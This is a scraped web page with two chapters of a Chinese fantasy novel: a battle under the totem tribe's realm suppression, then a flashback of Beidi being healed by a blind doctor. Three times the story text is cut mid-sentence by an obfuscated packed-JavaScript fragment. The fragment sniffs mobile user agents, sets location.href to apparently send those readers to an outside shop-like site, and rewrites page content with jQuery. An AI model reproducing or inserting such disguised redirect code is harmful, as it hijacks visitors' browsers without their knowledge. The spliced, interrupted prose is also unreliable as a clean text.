脖颈处有一道极细的伤口,不是剑伤,是被什么东西割开的。 血也是被抽干的。 她抬起头,看着姣姣。 姣姣凑过来,看了一眼那道伤口。 “不是利器,”她说,“是毒。毒从伤口渗进去,把血化成了水,再从伤口流出来。” 她的声音很轻,轻得像是在自言自语。“姹媛的毒,比以前更厉害了。” 姜亦看着她。 “姹媛,到底是谁。” 闻人奚郁和奕秋也想问这个问题。 “一个废物罢了。” 姣姣开口。 “和之前的不一样,今天这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437494|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三具,是她亲自动手杀的。” “姹媛来北疆了。” 姣姣站起来,拍了拍衣摆上的灰,退后一步,目光扫过那三具尸体。 闻人奚郁站在人群边缘,他手里攥着一张纸条,指节泛白,纸条被揉皱了,边缘露出来一截,上面写着一行字。 姣姣走过去,从他手里抽出纸条,展开。 “你们想知道图腾部落的秘密吗?” “来吧。” 字迹歪歪扭扭,像是用左手写的,但墨迹很新,纸上还带着一丝若有若无的药味。 姣姣闻了闻,把纸条折好,收进袖子里。 “是姹媛写的。” 她说。 闻人奚郁看着她,沉默了很久。 姣姣点头。 “她来了。” 四人回到客栈,关上门。 姣姣把纸条放在桌上,四个人围着桌子坐下。 火炉里的炭还烧着,橘红色的光落在纸条上,把那些歪歪扭扭的字照得很清楚。 “她要我们去图腾部落,看来真的挺急的。” 姜亦的手按在剑柄上,皱眉。 “为什么?” “因为她想让我们死。” 姣姣说。 姜亦眉头皱得更紧。 “那为什么不直接来杀我们?” “觉得我太强了?” 姣姣笑了。 “她不会觉得你强。” “她只会觉得我们四个人,很自不量力。” 姜亦的手指在剑柄上停住了。 闻人奚郁的折扇收在手里,指节泛白。 奕秋坐在角落里,脸上没有表情。 姣姣把纸条推给闻人奚郁。 “闻人公子,你怎么看?” 闻人奚郁低头看着那张纸条,看了很久。 然后他抬起头,看着窗外灰蒙蒙的天。 “姣姣姑娘,你和她有什么渊源。” “你看上去似乎对她很了解。” “而我们,却对她一概不知。” 姣姣嘴角挂上一丝笑容:“我人缘好嘛。” 闻人奚郁用折扇掩面。 “姣姣…你真是。” 闻人奚郁不再多问,分析形势。 “按照姣姣姑娘的意思,她不想杀我们,但是她想让我们自己去送死。” “图腾部落的压制,会把你们的境界压到五道以下。她不用动手,图腾部落的人就能杀了我们” “所以,我们不能去。” 闻人奚郁看了一眼手中折扇,顿了顿。 “但是,也可以去。” 奕秋和姣姣同时开口。 “得去。” 闻人奚郁沉默了一瞬。 姣姣笑了。 那笑容很淡,和平时那种笑嘻嘻的样子不一样。 奕秋开口:“事关北娣,我们要去。” “而且,此行,多有贵人护佑。” 姜亦看着她,点了头。 “去收拾一下吧。” “我们去图腾。” 闻人奚郁看向眼前的三个人,语气中带有一丝决绝。 就当姜亦和奕秋走远,姣姣要跟上自家小姐的时候。 闻人奚郁又开口了:“姣姣姑娘。” 姣姣回过头,看向身后的人。 “可否借一步说话。” 姣姣笑了。 “当然可以。” * 两个人站在天台上,看着远处的雪山。 “姣姣姑娘。” “你师父,是什么样的人?” 姣姣沉默了一瞬。 她看着远处的雪山,月光落在山顶的积雪上,泛着银白色的光。 “一个很好的人。” “我很想他。” 闻人奚郁没有追问。 他点了点头,转身走下天台。 脚步声在楼梯上越来越远,最后消失了。 31. 策马北原雪漫鞍 姣姣也回到屋里,换身衣服,准备去闯图腾。 推门出来的时候,头发扎了一个利落的高马尾,红狐裘换成了那件红底金线的长袍,腰间系着黑绒带子,袖口束紧,银铃在腰间叮当响。 脚上蹬着一双黑色的鹿皮靴,靴筒收在裤腿里,整个人看起来利落得不像她。 奕秋站在走廊尽头,白衣如雪,白狐裘披在肩上,无尘剑挂在腰间。 她看了一眼姣姣,目光在她高马尾上停了一瞬,什么都没说。 姜亦从隔壁房间出来,换了那件墨绿色的劲装,领口的灰鼠毛衬得他整个人又贵气又英气。 左耳的麒麟坠在晨光里晃了晃。 他看了一眼姣姣的高马尾,嘴角微微动了一下。 闻人奚郁最后一个出来。他穿了那件玄紫色的厚棉袍,袖口束紧,腰里系着同色的带子,长发用一根银色的发带束起,露出那张温润如玉的脸。 折扇收在手里,目光扫过三个人。 “走吧。” 四个人下楼。 客栈门口,四匹马已经备好了。 三匹黑色,一匹红色。 红色的那匹站在最前面,鬃毛像一团燃烧的火,蹄子刨着地面,鼻子里喷出白气,躁动不安。旁边牵马的马夫是个老汉,手都在抖。 姣姣看见那匹红马,眼睛亮了。 “这是我的?” 闻人奚郁点头。 “它叫赤焰,北疆最快的马。脾气不好,但跑起来,风都追不上。” 姣姣走到赤焰面前,伸手摸了摸它的脖子。赤焰打了个响鼻,脑袋往她身上蹭了蹭。 姣姣笑了。 她踩着马镫,翻身骑上去,动作干净利落,红底金线的长袍在晨光里翻飞,高马尾在风里扬起来。 她坐在马上,低头看着地上的三个人,笑得眼睛弯弯的。 “走啊,还愣着干什么?” 街上的人已经多起来了。 卖烤肉的摊子冒着白烟,卖皮货的铺子门口挂着整张的狼皮,卖烈酒的汉子扯着嗓子吆喝。 四个人的马从街上走过,马蹄踏在青石板上,发出清脆的声响。 有几个穿着官袍的人看见了闻人奚郁,手里的铁签子掉在地上,愣愣地看着那个淡紫色的背影。 旁边的人推了他一把,他才回过神来,弯腰捡起铁签子,擦了擦,继续翻烤架上的肉。 但他的眼睛,一直追着那个方向。 更多的人注意到了那匹红马。 “那是赤焰吧?北疆最快的马?” “谁骑的?红衣服那个小姑娘?” “我的天,那小姑娘骑马的样子,比北疆男儿都英姿飒爽!” “你看她那个高马尾,那个腰板,那骑马的姿态——北疆的女人都没几个比她利落!” 姣姣听见了,腰板挺得更直了,嘴角压都压不住。 她扭头冲奕秋咧嘴一笑:“小姐,你听见了吗?他们说我是北疆的!” 奕秋骑在一匹黑马上,白衣在风里翻飞,白狐裘的毛领子围着她清冷的脸。 她看了姣姣一眼,什么都没说,但她的嘴角,微微弯了一下。 姜亦骑在另一匹黑马上,墨绿色的劲装在风里猎猎作响。左耳的麒麟坠晃了晃,在晨光里闪了一下。 他看着姣姣的背影,忽然说:“她骑马比走路强多了。” 闻人奚郁骑在他旁边,闻言笑了。 姜亦看他一眼,没说话。 * 四人策马出了北疆城。 风从北边灌进来,裹着雪沫子,打在脸上生疼。 但姣姣不觉得冷,红狐裘换成了红底金线的长袍,厚实,挡风,领口的白毛边围着她的小脸,只露出一双亮晶晶的眼睛。 马蹄踏在雪地上,发出沉闷的声响。 雪被踩碎,溅起来,落在后面那匹马的蹄子上。 官道越来越窄,越来越崎岖。 两旁的树越来越密,枝丫上挂满了雪,像是披了一层白纱。 远处的雪山越来越近,山顶的积雪在日光下泛着银白色的光。 闻人奚郁骑在最前面,带路。 他骑马的姿态和平时走路一样,不紧不慢,像是在散步。 但姣姣注意到,他的目光一直落在远处的雪山上,脸上的表情很淡,淡得像是什么都没在想。 走了大约一个时辰,官道消失了。 取而代之的是一片雪原,白茫茫的,看不到尽头。 雪很深,马蹄陷进去,拔出来,再陷进去,每走一步都很费力。 闻人奚郁勒住马,回头看着三个人。 “从这里开始,没有路了。” 姣姣探头看了一眼那片雪原,啧了一声。 “图腾部落的人,天天走这种路?” “他们习惯了。”闻人奚郁说,“从小在雪地里长大,雪再深也不怕。” 他顿了顿,目光扫过三个人。 “从这里到图腾部落,骑马还要两个时辰。到了图腾范围内,会有压制。你们做好准备。” 姜亦的手按在剑柄上。 奕秋的手指在无尘剑的剑鞘上轻轻抚过。 姣姣把红底金线的长袍裹紧,摸了摸腰间的香囊。 “走吧。” 又走了快两个时辰,天色开始暗了。 雪原的尽头,出现了一片黑色的影子。 那是图腾柱。 一根一根,高矮不一,参差不齐地立在雪地里,像一排沉默的墓碑。柱子是黑色的,表面刻满了繁复的纹路,在暮色里泛着幽幽的光。 姣姣眯着眼看那些柱子,忽然觉得胸口有点闷。 不是那种“不舒服”的闷,是那种——有什么东西压下来的闷。 她的境界在往下掉。 从五道四重,掉到五道三重,五道二重,五道一重—— 然后停在了三道四重。 她深吸一口气,感觉身上的力气被抽走了大半。 “这感觉,真不舒服。”她说,声音比平时虚了一些。 姜亦的脸色也不好。 他的法力还在身上转,但那股压制无孔不入,从四面八方压过来,法力挡不住。 他的境界从尊界四重,一路掉到了五道三重。 奕秋的境界从尊界一重,掉到了五道一重。 她的脸上没什么表情。 闻人奚郁骑在马上,没有任何变化。 他看了一眼三个人,什么都没说。 继续往前走。 走了不到半里地,雪地里忽然冒出二十几道人影。 黑衣,蒙面,手持利刃。 他们从雪地里钻出来,像是从地下长出来的蘑菇,一瞬间就把四个人围住了。 领头的是个壮汉,五道三重,手臂上纹着狼头,眼睛像狼一样,泛着幽幽的光。 他扫了一眼四个人,目光在闻人奚郁身上停了一瞬,然后移开,落在姜亦身上。 “你就是原终主?”他开口,声音沙哑,像砂纸磨过铁器,“尊界四重?” 他笑了,露出黄牙。 “但在图腾范围内,你什么都不是。” 姜亦没有回答。 他拔剑,剑光在暮色里一闪。 壮汉也拔刀了。 二十几个黑衣人同时扑上来。 姜亦一剑震退三个人,但他的境界被压到五道三重,剑上的法力大不如前,那一剑只把人震退了几步,没有震飞。 壮汉看出他的窘迫,笑了。 “尊界四重?现在你跟我一样,五道三重。谁赢谁输,还不一定呢。” 他提刀冲上来,一刀劈向姜亦面门。 姜亦侧身避开,剑尖划向壮汉手腕。壮汉收刀格挡,刀剑相撞,火星四溅。 两个人打在一起,刀光剑影,难解难分。 另外几个黑衣人围住了奕秋。 奕秋的境界被压到五道一重,但她的剑还是很快。 一剑刺穿一个人的肩膀,又一剑划开一个人的手臂。 但她不敢用言出法随,因为她的言出法随对境界比她高的人没用。图腾范围内,她的境界被压到五道一重,那些黑衣人最低的都是四道。 她只能硬打。 剑光越来越密,但她的动作比平时慢了一些。不是她慢了,是境界被压了。 姣姣也被人围住了。 她的境界被压到三道四重,但是… 嘻嘻,我是毒医呀。 一拳砸在一个人脸上,那人横飞出去。一脚踹在一个人腹部,那人捂着肚子跪了下去。 然后伸手摸向腰间,一把毒粉甩出去。 眼前的三个人瞬间捂住脸后退半步。 她捡起对方掉在地上的剑,一剑刺过去。 那个人当场毙命。 姣姣笑了。 “图腾不压制毒粉唉!” 但下一秒,她的笑容僵住了。 姜亦那边出了事。 壮汉一刀劈在他左肩上。 刀锋划破衣料,切入皮肉,血涌出来,溅在雪地上,洇开一小片暗红。 姜亦闷哼一声,后退两步,左臂垂在身侧,血流如注。 他的右手还握着剑,剑尖指着地面,但他的脸色白了一些。 姣姣看见了。 她一脚踹开面前的黑衣人,冲过去,从腰间摸出一个小瓷瓶,拔开瓶塞,把药粉撒在姜亦的伤口上。 药粉是黄色的,带着一股草药味。血止住了,但姜亦的左肩还是动不了。 “你——” 姜亦开口。 “别动。” 姣姣眼中担忧,打断他。 就在她低头给姜亦包扎的时候,一个黑衣人从她身后摸过来,刀举过头顶,一刀劈下来。 姣姣没看见。 姜亦看见了。 他来不及拔剑,只能用身体挡。 但有人比他更快。 一道淡紫色的影子闪过。 闻人奚郁不知道什么时候从马上下来了,一步跨到姣姣身后,折扇一合,扇骨末端精准地敲在那个黑衣人的太阳穴上。 那人眼睛一翻,软倒在地,刀从手里滑落,插进雪地里。 闻人奚郁站在那里,折扇收在手里,脸上什么表情都没有。 风从北边灌进来,吹动他淡紫色的衣摆。长发在风里飘着,银色的发带在暮色里闪了一下。 姜亦看着他。 姣姣看着他。 奕秋也看着他。 闻人奚郁没有看他们。 他低头看了一眼地上那个黑衣人,又抬头看了一眼远处的雪山。 然后他把折扇打开,慢悠悠地摇了摇。 “愣着干什么?”他说,声音很平静,“还没打完。” 姜亦看着他,看了很久。 然后他开口,声音很低,低到只有闻人奚郁能听见。 “你明明可以——” “我知道。” 闻人奚郁打断他。 他没有看姜亦,他看着远处的雪山,脸上的表情很淡,淡得像是什么都没在想。 但他的手,在折扇上攥紧了。 姜亦没有再说话。 他右手握剑,又冲上去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437495|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻人奚郁没有再用折扇。 他就站在那里,像一根柱子,挡在姣姣面前。 有黑衣人冲过来,他侧身避开,折扇一合,敲在对方后颈上。 有黑衣人从侧面偷袭,他头都没回,扇骨末端精准地戳在对方肋下。 姣姣看着他,忽然说:“闻人公子,你会武功啊?” 闻人奚郁笑了。 “抱歉骗了你们,会一点。” 姣姣“切”了一声。 “我早就知道!切,装这么久,真不嫌累!” 她蹲在姜亦身边,给他包扎。 姜亦的左肩已经不出血了,但伤口很深,皮肉翻卷着,看着触目惊心。 姣姣的手指在发抖,但她的动作很轻,很稳。 “没事。”姜亦说,“皮外伤。” 姣姣没理他。 她把纱布缠好,打了一个结,然后站起来,拍了拍衣摆上的灰。 “行了。” 闻人奚郁收了折扇。 那二十几个黑衣人已经全趴下了。 领头那个壮汉被姜亦一剑钉在地上,胸口插着剑,血流了一地。 他的眼睛还睁着,看着灰蒙蒙的天,嘴巴一张一合,像是在说什么,但听不清。 闻人奚郁走过去,蹲下来。 壮汉的眼睛动了一下,看着他。 “你……你是……” 闻人奚郁没有回答。 他拔出折扇,在壮汉眼前晃了晃,然后站起来,转身走了。 壮汉的眼睛瞪得老大,嘴巴张着,一个字都说不出来。 闻人奚郁走回姜亦身边,低头看着他左肩上的纱布。 纱布是白色的,已经被血浸透了,红了一片。 他的眉头皱了一下。 “伤得不轻。” 姜亦没说话。 闻人奚郁看了他一眼,没有再问。 四个人骑上马,往回走。 天色已经全黑了。 风比白天更大,裹着雪沫子,打在脸上生疼。 姣姣把红底金线的长袍裹紧,低着头,不说话。 奕秋骑在她旁边,白狐裘在风里翻飞,无尘剑在腰间轻轻晃动。 她的脸上没什么表情,但她的目光一直落在姣姣身上。 姜亦骑在前面,左肩的伤让他只能单手控缰。 他的脸色不太好,嘴唇发白,但他的背挺得很直。 闻人奚郁骑在最前面,带路。 他骑得很慢,比来的时候慢了很多。不是因为路不好走,是因为他在等后面的人。 走了快一个时辰,北疆城的灯火终于出现在视线里。 姣姣忽然勒住马。 奕秋也勒住了。 姜亦和闻人奚郁回过头。 姣姣骑在马上,红底金线的长袍在风里翻飞,高马尾被吹散了,几缕头发贴在脸上。 她看着远处的雪山,看了很久。 然后她开口。 “这样下去不行。” 她的声音比平时轻了很多,不是那种“我在开玩笑”的轻,是那种“我决定了”的轻。 奕秋看着她。 “我要去图腾部落。” 奕秋没有拦。 她看着姣姣,看了很久,然后点了点头。 姜亦皱眉。 “你疯了?一个人去!?” 姣姣笑了。 那笑容很淡,和平时那种笑嘻嘻的样子不一样。 “又不是去打架。”她说,“我去偷点东西。” 姜亦看着她,沉默了一瞬。 “偷什么?” 姣姣眨眨眼。 “图腾的命脉。” 闻人奚郁一直没有说话。 他骑在马上,看着姣姣,月光落在他脸上,把那层淡薄的表情照得几乎透明。 然后他笑了。 那笑容很轻,轻得像是一声叹息。 “姣姣姑娘,”他说,“你这个人。” 他没说完。 姣姣歪头看他们一眼。 然后扭头策马狂奔。 姜亦懵了,调转马头正要追上,突然一柄剑横在他身前。 奕秋。 “姜亦,她没事的。” 姜亦眉头皱紧了。 “你们这唱的哪出!” “相信我。” * 姣姣正在狂奔。 马蹄踏在雪地上,发出沉闷的声响。 雪被踩碎,溅起来,落在后面那匹马的蹄子上。 风吹过来,裹着雪沫子,从雪原上掠过,发出呜呜的声响,像是在哭,又像是在笑。 远处,图腾柱沉默地立在雪地里。 黑色的影子在月光下显得格外诡异,像一排沉默的墓碑。 柱子上刻着的纹路在月光下泛着幽幽的光,那些光忽明忽暗,像是有什么东西在柱子里面呼吸。 姣姣回头看了一眼。 就一眼。 然后她转回去,继续往前走。 红底金线的长袍在风里翻飞,高马尾在月光下扬起来,银铃在腰间叮当响了一声。 那一声很轻,轻得像是从很远的地方传来的。 * 远处,雪山顶上。 一个人站在风雪里。 玄青长袍,长发被风吹起,露出那张美得不似真人的脸。 狐狸眼,泪痣。 他看着朝北方孤身一人飞奔的姣姣。 然后他转身,走进风雪里。 玄青长袍在雪中一闪,就不见了。 没有人看见他。 32. 回溯秘术忆南林 客栈里很安静。 三个人在同一间屋子里。 火炉里的炭烧得通红,偶尔噼啪一声,溅出一两点火星。 姜亦坐在椅子上,左肩缠着白布,白布上洇出一小片淡红色的印子,但血已经止住了。 他靠在椅背上,闭着眼睛,像是睡着了,又像是在想什么。 闻人奚郁坐在他对面,折扇收在手里,目光落在火炉上,脸上什么表情都没有。 奕秋站在窗边,白衣如雪,白狐裘搭在椅背上。 姜亦睁开眼,看着奕秋的背影。 “北娣到底有多强。”他开口,声音不大,带着一丝沙哑,“那种图腾压制,她怎么闯的?还能给呼延烈打一顿?” 闻人奚郁也看向奕秋。 奕秋没有回头。 她看着窗外,沉默了一会儿,然后开口,声音平静。 “她十五岁就是尊界了。” 姜亦的手指在膝盖上停了一瞬。 “十五岁?”闻人奚郁的声音里带着一丝诧异,“…她的天赋,比我想的还要高。” 奕秋转过身,看着他们。白衣在晨光里泛着银白的光,无尘剑挂在腰间,剑鞘上的纹路若隐若现。 “很多高手都不在青穹榜统计之内。” 闻人奚郁说。 “尤其是东夷人。像奕秋姑娘,就不在其中。” “不过我也很好奇,北娣究竟什么境界。我知道她很强,但是不知道她多强。” 奕秋看着他们,沉默了一瞬。 然后她走到桌边,拿出龟甲放在桌上。 龟甲表面流转着淡淡的微光,纹路比平时更清晰,像是一幅正在展开的画。 “我很想让你们知道她的故事。”她说,“但不是用说的。” 姜亦和闻人奚郁对视一眼。 奕秋抬起右手,食指与中指并拢,轻轻点在龟甲上。 龟甲亮了。 光芒从桌面上升起来,在半空中铺开,像一幅缓缓展开的画卷。 那不是刺目的亮,是一种沉静的、像月光落入深潭的光。光芒里有什么东西在动,人影、树影、雪影—— 姜亦和闻人奚郁同时屏住了呼吸。 * 南水边境的密林。 树很高,枝叶遮天蔽日,只有零星的光斑落在地上。 空气里弥漫着潮湿的腐叶味,混着一股浓重的血腥气。 一个白衣少女靠在树上。 身旁死了三个快要入尊的南水毒医。 她浑身是血,白衣已经看不出原来的颜色,破烂的衣料贴在身上,露出几道深可见骨的伤口。 左肩有一道刀伤,血还在往外涌,顺着胳膊滴在地上。 右肋下有一个拳头大的淤青,皮肤发紫,像是被什么重物砸过。 嘴角有血,顺着下巴往下滴,滴在衣领上,洇开一小片暗红。 嘴唇发紫,呼吸急促,每一次吸气都像是在跟什么东西较劲。 “死毒师…一群阴逼。” 她看向自己身上的伤口。 凝血乌黑,结成块状凝固在伤口处。 北娣咬了咬嘴唇。 “操…” “中毒了。” 北娣靠在树上,手里还握着剑。 剑身上全是血,分不清是自己的还是别人的。剑尖插进泥土里,撑着地面,不让自己倒下去。 她看着头顶那片被树冠切割成碎片的天空,嘴唇动了动,声音很轻。 “师父……师姐……我可能见不到你们了。” 风吹过来,树叶沙沙响,像是在回应她,又像是在叹息。 她闭上眼睛。 然后她听见了脚步声。 不是那种小心翼翼的、怕惊动什么的脚步,是很轻的、很稳的、像是踩在自己家里一样的脚步。 枯叶被踩碎,发出细碎的声响,由远及近。 她睁开眼,看见一个人蹲在她面前。 白衣,白纱蒙眼,手指修长,骨节分明。 他的衣袍很素净,没有纹饰,只在袖口处有几道浅浅的褶子。 白纱遮住了上半张脸,只露出鼻梁和嘴唇。 嘴唇很薄,微微抿着,带着一种天然的、不紧不慢的弧度。 他蹲在那里,动作很轻,像是怕惊动什么。 他的手伸过来,指尖在她伤口边缘轻轻触了一下,没有碰伤口,只是触了一下周围的皮肤。 然后他收回手,从随身带的药箱里取出纱布和药粉。 “你伤得很重。”他开口,声音很轻,带着一种让人安心的温度,“别怕,我帮你止血。” 北娣愣住了。 她看着这个人,看了很久。阳光从树冠的缝隙里漏下来,落在他身上,把他那件白衣照得泛着淡淡的光。 白纱蒙着眼,看不见他的眼睛,但他的手指很稳,稳得不像是一个看不见的人。 她忽然开口。 “你是神仙吗?” 那个人笑了。 那笑容很轻,嘴角微微扬起,像是在笑她问了一个傻问题,又像是在笑别的什么。 “我是大夫。” 他继续包扎,手指在她手臂上轻轻绕了几圈纱布,打了一个结,动作行云流水,像是做过无数次。 北娣低头看着自己被包扎好的手臂,又抬头看着他。 “你怎么知道这里有人的?” “听见的。”他说,“你喘气的声音太大了。” 北娣愣了一下,然后笑了。 那笑容很轻,带着血,带着疲惫,但眼睛里有光。 “你一个人在这林子里?” “嗯。”他把药箱合上,站起来,伸出手,“能走吗?” 北娣看着那只手,看了很久。手指修长,骨节分明,指甲修剪得很整齐。 那只手悬在半空,没有催促,没有收回,就那么等着。 她伸出手,握住了他的。 他的手很暖。 北娣被他搀着,一步一步走出密林。 阳光越来越亮,树冠越来越疏,最后眼前豁然开朗。 一间小屋,坐落在山脚下。 屋顶铺着茅草,墙上爬着青藤,门前有一小片空地,种着几畦草药。 空气里弥漫着淡淡的药香,混着泥土和青草的气味。 北娣站在门口,看着那间小屋,忽然说:“这是你家?” “嗯。”宿莽推开门,侧身让她进去,“简陋了些,姑娘别嫌弃。” 北娣走进去。 屋里很干净,一张木床,一张木桌,两把木椅。 桌上摆着几只陶碗,碗里盛着熬好的药汤,还冒着热气。 墙角堆着几个药篓子,里面装着各种草药,有的晒干了,有的还带着露水。 “你叫什么?” 他闻言,抬起头。 “宿莽。” “宿莽…” 北娣笑了。 “经冬不死,我心尤存。” “好名字。” 宿莽笑了一声,把药箱放在桌上,转过身,面向他。 “姑娘叫什么名字?” “北娣。” “北娣……”他念了一遍,声音很轻,像是在品什么,“很好听。” 北娣的耳朵红了。 她别过脸,假装在看墙上的药篓子,但耳朵尖那一点红藏都藏不住。 “姑娘害羞什么?” 宿莽笑了。 “谁害羞了?!” 北娣的声音拔高了半度,但底气明显不足。 宿莽笑得更欢了。 他笑起来的时候,嘴角的弧度比平时大一些,嘴唇抿着,但眼尾那几道细纹会弯起来,虽然白纱遮着眼,但你能感觉到他在笑。 北娣被他笑得脸更红了。 她咬了咬嘴唇,忽然问:“所以你这眼睛……包着玩呢啊?” 宿莽被她的话真的逗笑了。 他伸手摸了摸蒙眼的白纱,动作很自然,像是在摸一件穿了很久的衣服。 “天生眼盲。”他说,语气很平静,“眼睛是白色的,盖住它,省的吓到别人。” 北娣愣住了。 她张了张嘴,想说什么,但没说出来。她低下头,看着自己的手指,沉默了一会儿,然后说:“对不起。” “嗯?为什么道歉?” “说到你痛处了。” 宿莽又笑了。 他摇了摇头,走到桌边,端起一碗药汤,递给北娣。 “北娣姑娘不必如此。”他说,声音很温和,“这本就不是什么痛处。” 北娣接过药碗,低头看着碗里黑乎乎的汤药,又抬头看着他。 “姑娘的境界很高。”宿莽忽然说,“这个气息,是近尊?” “你怎么知道?” “感受到了。”宿莽说,“你的气息比普通人强很多,虽然受了伤,但那种感觉还在。” 北娣看着他,看了很久。 一个看不见的人,靠“感受”就能知道她的境界。她忽然觉得,这个人比她想象的还要不简单。 宿莽把药箱打开,从里面取出几样东西,放在桌上。纱布、药膏、银针——摆得整整齐齐。 “该换药了。”他说,“姑娘身上的伤,需要处理。” 北娣点点头,把药碗放下,准备解开衣领。 然后她的手停住了。 她抬起头,看着宿莽。 宿莽站在那里,白纱蒙着眼,手里拿着纱布,等着。 北娣的耳朵又红了。这一次不只是耳朵尖,连脖子都红了。 “…男女授受不亲。” 她的声音从牙缝里挤出来,带着一种“我知道这是废话但我还是要说”的倔强。 宿莽沉默了一瞬。 然后他笑了。 那笑容很轻,嘴角微微扬起,像是在笑她,又像是在笑别的什么。 “姑娘,我看不见。” 北娣愣了一下,然后低下头,耳朵还是红的,但她没有再说话。 她解开衣领,露出左肩那道伤口。 皮肉翻卷着,边缘发黑,看着触目惊心。 宿莽的手伸过来,指尖在她肩头轻轻触了一下。 他的手指带着药膏的温度,落在伤口上,像一片冰凉的叶子落在滚烫的皮肤上。 北娣的身体绷了一下,但没有躲。 宿莽的动作很轻,轻得像是在擦拭一件易碎的瓷器。 他把药膏涂在伤口上,用纱布缠好,打了一个结。 整个过程,他的手指没有碰过她的皮肤,只碰伤口和纱布。 “好了。”他收回手,退后一步。 北娣低头看着自己被包扎好的左肩,又抬头看着他。 白纱蒙着眼,看不见他的表情,但他的嘴角微微弯着,带着一种让人安心的弧度。 “谢谢。” 她说。 “我是大夫。”宿莽说,“应该的。” * 东夷。 山顶上,云雾缭绕。 一座竹楼坐落在崖边,檐角挂着风铃,风一吹,叮当作响。 竹楼前面有一片空地,空地上种着几棵海棠树,花期已过,枝头挂着零星的几朵残花。 奕秋站在空地上,白衣如雪,手里握着剑。 她正在练剑,剑光在晨光里一闪一闪。 一个声音从竹楼里传出来。 “停下停下,心里有事,就别瞎练了。” 奕秋收剑,转过头。 竹楼的门口,一个人半卧在床榻上。 红纱帷帐从榻上垂下来,铺了一地。 她穿着一件墨红色的衣袍,衣料垂顺,在晨光里泛着暗沉的光泽。 长发散着,没有束,有几缕垂到胸前,衬得那张脸愈发白皙。 她手里捏着一颗葡萄,正在往嘴里送。嚼了嚼,吐了籽,又捏了一颗。 鸾虞尊君。 她看起来懒懒散散的,整个人像是没长骨头,靠在竹榻上,姿态随意得像一滩水。 奕秋看着她,脸上没什么表情。 “北娣那边,怎么样了?”鸾虞问,声音懒洋洋的。 奕秋沉默了一瞬。 “真的要让她自己去杀那几个人?” 鸾虞把葡萄塞进嘴里,嚼了嚼,吐了籽。 “对呀。”她说,语气轻飘飘的,“北娣天赋很高,境界一直不升,这是破解之法。” 奕秋看着她,没有说话。 鸾虞又捏了一颗葡萄,举到眼前看了看,然后放进嘴里。 “你也算出来了。” 她含糊不清地说。 奕秋确实算出来了。 卦象显示,北娣此行有生死之险,但也是境界突破的契机。 凶中藏吉,吉中藏凶,险之又险。 她担心北娣需要重伤。 “伤就伤呗。”鸾虞笑着说,语气很不在意,“又不是没伤过。” “死不了。” 奕秋看着她,沉默了很久。 鸾虞把葡萄皮吐在手心里,随手扔到一边,然后从竹榻上坐起来,伸了个懒腰,骨头噼啪响。 她扭头看着奕秋,忽然笑了。 那笑容和她平时那种懒洋洋的样子不一样,带着一点促狭,一点“我知道你在想什么”的得意。 “兴许此行返回,”她慢悠悠地说,“不仅境界大增,还带回来个贤婿。” 奕秋:“……” 她看着鸾虞,脸上没有表情,但她的嘴角微微抽了一下。 鸾虞笑得更开了。 她从竹榻上站起来,赤着脚走到海棠树下,伸手折了一枝残花,放在鼻尖下闻了闻。 “你说,那个大夫,长什么样?” 奕秋没回答。 鸾虞也不在意,自顾自地说:“能让我家北娣惦记的人,应该不差。” 她把那枝残花插在竹榻的缝隙里,拍了拍手上的灰,走回竹榻边,重新躺下。 “行了,别担心了。”她闭上眼睛,声音懒洋洋的,“她比你想象的强。” 奕秋站在原地,看着鸾虞,看了很久。 然后她转身,继续练剑。 剑光在晨光里一闪一闪,比刚才快了一些。 鸾虞尊君躺在竹榻上,闭着眼睛,嘴角挂着一丝笑。 风铃叮当响,海棠花瓣飘下来,落在她墨红色的衣袍上。 她没动。 奕秋的剑越来越快。 她在想北娣。 她想起北娣走的那天早上。 天还没亮透,北娣站在山门口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437496|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背着剑,高马尾扎得紧紧的,白衣在晨风里翻飞。 她说:“师姐,我走了。” 奕秋点头。 北娣咧嘴一笑,转身走了。 走出几步,她忽然停下来,没有回头。 “师姐,师父这个人,你是不是觉得她很不靠谱?” 奕秋没说话。 北娣笑了。 “我也是。” 她走了。 白衣消失在晨雾里。 奕秋收剑。 她站在空地上,看着远处的云海,脸上什么表情都没有。 * 北娣在山间小屋养了一个月。 每天清晨,宿莽起来熬药。 药香从厨房飘出来,钻进北娣的梦里,把她从一堆乱七八糟的梦境里拽出来。 她睁开眼,看见窗外的天刚蒙蒙亮,阳光从窗户漏进来,落在木地板上,暖洋洋的。 她坐起来,左肩的伤已经不疼了。 她活动了一下手臂,骨头噼啪响了一声,然后穿上外衣,推门出去。 宿莽站在厨房里,手里拿着药罐,正在往碗里倒药汤。 他看不见,但他的手很稳,药汤一滴都没洒出来。 北娣靠在门框上,看着他。 “你每天都起这么早?” 